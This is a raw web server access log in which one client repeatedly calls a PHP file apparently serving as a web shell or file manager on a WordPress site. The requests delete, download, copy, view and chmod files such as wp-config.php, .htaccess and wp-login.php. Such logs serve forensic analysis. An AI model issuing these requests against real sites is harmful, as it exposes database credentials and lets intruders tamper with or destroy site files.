45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=thoms.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?del=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=error_log HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=locoy.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?del=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?dl=thoms.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?del=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21326 "https://163.245.207.76/thoms.php?dl=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=.htaccess&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?del=upgrade&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?chmod=setting-checkpoint&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21343 "https://163.245.207.76/thoms.php?del=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21294 "https://163.245.207.76/thoms.php?del=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?chmod=setting-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-config.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?chmod=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21320 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-cron.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?dl=locoy.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?chmod=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?chmod=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21290 "https://163.245.207.76/thoms.php?chmod=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?dl=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?chmod=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?del=mah.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-comments-post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21348 "https://163.245.207.76/thoms.php?chmod=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21350 "https://163.245.207.76/thoms.php?del=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-trackback.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=license.txt HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21381 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?chmod=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?del=.well-known&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21190 "https://163.245.207.76/thoms.php?del=.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?chmod=wp-admin&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?chmod=error_log&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?del=license.txt&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?dl=license.txt&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?del=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?chmod=upgrade&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?dl=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?chmod=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?dl=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21331 "https://163.245.207.76/thoms.php?dl=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21352 "https://163.245.207.76/thoms.php?dl=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21316 "https://163.245.207.76/thoms.php?dl=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-links-opml.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?del=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?chmod=.well-known&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
